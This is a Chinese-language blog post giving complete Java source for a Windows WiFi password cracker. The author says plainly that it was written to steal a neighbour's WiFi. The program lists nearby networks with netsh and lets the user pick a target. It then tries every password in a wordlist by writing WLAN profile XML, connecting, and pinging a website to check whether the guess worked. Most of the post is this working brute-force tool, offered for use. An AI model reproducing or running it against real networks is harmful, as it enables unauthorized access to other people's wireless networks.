简介
闲来无事,手机的无限流量很卡,于是想偷隔壁的wifi,写此程序,仅供娱乐。
Git地址
https://github.com/FangCheng666/zn_wifi_crack.git
代码如下
1.cmd工具类
package com.znkeji.zn_wifi_carck.utils;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
/**
* Created with IntelliJ IDEA.
* User: fangcheng
* Date: 2019/3/24
* Time: 16:21
* Description: cmd 需要的工具类
*/
public class CmdUtils {
/**
* 该方法封装了执行cmd的方法
*
* @param cmd CMD命令
* @param filePath 需要在哪个目录下执行
*/
public static List<String> execute(String cmd, String filePath) {
Process process = null;
List<String> result = new ArrayList<String>();
try {
if (filePath != null) {
process = Runtime.getRuntime().exec(cmd, null, new File(filePath));
} else {
process = Runtime.getRuntime().exec(cmd);
}
BufferedReader bReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "gbk"));
String line = null;
while ((line = bReader.readLine()) != null) {
result.add(line);
}
} catch (IOException e) {
e.printStackTrace();
}
return result;
}
}
2.字符串工具类
package com.znkeji.zn_wifi_carck.utils;
/**
* Created with IntelliJ IDEA.
* User: fangcheng
* Date: 2019/3/24
* Time: 16:21
* Description:字符串工具类
*/
public class StringUtils {
/**
* 字符串转换成为16进制(无需Unicode编码)
* @param str
* @return
*/
public static String str2HexStr(String str) {
char[] chars = "0123456789ABCDEF".toCharArray();
StringBuilder sb = new StringBuilder("");
byte[] bs = str.getBytes();
int bit;
for (int i = 0; i < bs.length; i++) {
bit = (bs[i] & 0x0f0) >> 4;
sb.append(chars[bit]);
bit = bs[i] & 0x0f;
sb.append(chars[bit]);
// sb.append(' ');
}
return sb.toString().trim();
}
}
3.wifi工具类
package com.znkeji.zn_wifi_carck.utils;
import java.util.Hashtable;
/**
* Created with IntelliJ IDEA.
* User: fangcheng
* Date: 2019/3/24
* Time: 13:16
* Description: WiFi工具类
*/
public class WiFiUtils {
/**
* 获得wifi配置文件字符串
* @param WIFI_NAME
* @param hex
* @param WIFI_PASSWORD
* @return
*/
public static String getWifiStr(String WIFI_NAME, String hex, String WIFI_PASSWORD) {
return "<?xml version=\"1.0\"?>\n" +
"<WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\">\n" +
"\t<name>"+WIFI_NAME+"</name>\n" +
"\t<SSIDConfig>\n" +
"\t\t<SSID>\n" +
"\t\t\t<hex>"+hex+"</hex>\n" +
"\t\t\t<name>"+WIFI_NAME+"</name>\n" +
"\t\t</SSID>\n" +
"\t</SSIDConfig>\n" +
"\t<connectionType>ESS</connectionType>\n" +
"\t<connectionMode>auto</connectionMode>\n" +
"\t<MSM>\n" +
"\t\t<security>\n" +
"\t\t\t<authEncryption>\n" +
"\t\t\t\t<authentication>WPA2PSK</authentication>\n" +
"\t\t\t\t<encryption>AES</encryption>\n" +
"\t\t\t\t<useOneX>false</useOneX>\n" +
"\t\t\t</authEncryption>\n" +
"\t\t\t<sharedKey>\n" +
"\t\t\t\t<keyType>passPhrase</keyType>\n" +
"\t\t\t\t<protected>false</protected>\n" +
"\t\t\t\t<keyMaterial>"+WIFI_PASSWORD+"</keyMaterial>\n" +
"\t\t\t</sharedKey>\n" +
"\t\t</security>\n" +
"\t</MSM>\n" +
"\t<MacRandomization xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v3\">\n" +
"\t\t<enableRandomization>false</enableRandomization>\n" +
"\t</MacRandomization>\n" +
"</WLANProfile>\n";
}
}
4.启动类
package com.znkeji.zn_wifi_carck;
import com.znkeji.zn_wifi_carck.utils.CmdUtils;
import com.znkeji.zn_wifi_carck.utils.StringUtils;
import com.znkeji.zn_wifi_carck.utils.WiFiUtils;
import org.springframework.util.FileCopyUtils;
import java.io.*;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
/**
* Created with IntelliJ IDEA.
* User: fangcheng
* Date: 2019/3/23
* Time: 20:18
* Description: 启动类,项目的入口
*/
public class App {
public static void main(String[] args) throws IOException {
List<String> wifiList = CmdUtils.execute("netsh wlan show networks mode=bssid", "./");
List<String> ssidList = getSsidList(wifiList);
for (int i = 0; i < ssidList.size(); i++) {
System.out.println((i+1)+"."+ssidList.get(i));
}
System.out.println("请输入要破解的wifi:");
Scanner sca =new Scanner(System.in);
sca.useDelimiter("\n");
String ssid = sca.next();
System.out.println("-----------您选择的wifi为【"+ssid+"】-------------");
System.out.println("-----------开始破解-------------");
String path = App.class.getClassLoader().getResource("pwd.txt").getPath();
BufferedReader reader = new BufferedReader(new FileReader(path));
String pwd = null;
int i = 0;
while((pwd = reader.readLine()) != null){
i++;
System.out.println("开始连接:"+i+" -->"+ssid+" - "+pwd);
boolean success = connect(ssid, pwd);
if(success){
System.out.println("连接成功,"+ssid+"的密码为"+pwd);
return;
}
}
}
/**
* 连接wifi
* @param ssid
* @param wifiPwd
*/
private static boolean connect(String ssid, String wifiPwd) {
try {
String hex = StringUtils.str2HexStr(ssid);
//生成wifi配置文件
String wifiConf = WiFiUtils.getWifiStr(ssid, hex,wifiPwd);
File out = new File("./temp.xml");
FileCopyUtils.copy(wifiConf.getBytes(), out);
//添加配置文件
printList(CmdUtils.execute("netsh wlan add profile filename=temp.xml","./"));;
//连接wifi
printList(CmdUtils.execute("netsh wlan connect name=\""+ssid+"\"","./"));;
//测试网络,使用ping的方式检测网络,此处建议优化改其他效率更高的方式,暂停2000毫秒是因为连接WiFi需要时间,这个时间因环境而异
CmdUtils.execute("ipconfig","./");
Thread.sleep(2000);
boolean success = ping();
return success;
}catch (Exception e){
e.printStackTrace();
}
return false;
}
/**
* 获得ssidList
* @param resultList 通过cmd命令查出来的附件WiFi
* @return
*/
private static List<String> getSsidList(List<String> resultList) {
List<String> ssidList = new ArrayList<String>();
//遍历result获得ssid
for (String result : resultList) {
if(result.startsWith("SSID")){
String ssid = result.substring(result.indexOf(":")+2);
ssidList.add(ssid);
}
}
return ssidList;
}
/**
* 打印list数据
* @param resultList
*/
private static void printList(List<String> resultList) {
for (String result : resultList) {
System.out.println(result);
}
}
/**
* ping 校验
*/
private static boolean ping() {
boolean pinged = false;
String cmd = "ping www.baidu.com";
List<String> result = CmdUtils.execute(cmd, "./");
// printList(result);
if (result != null && result.size() > 0) {
for (String item : result) {
if (item.contains("来自")) {
pinged = true;
break;
}
}
}
return pinged;
}
}
启动方式
启动App类中的main方法即可
效果如下
此文为原创,转载请注明出处,谢谢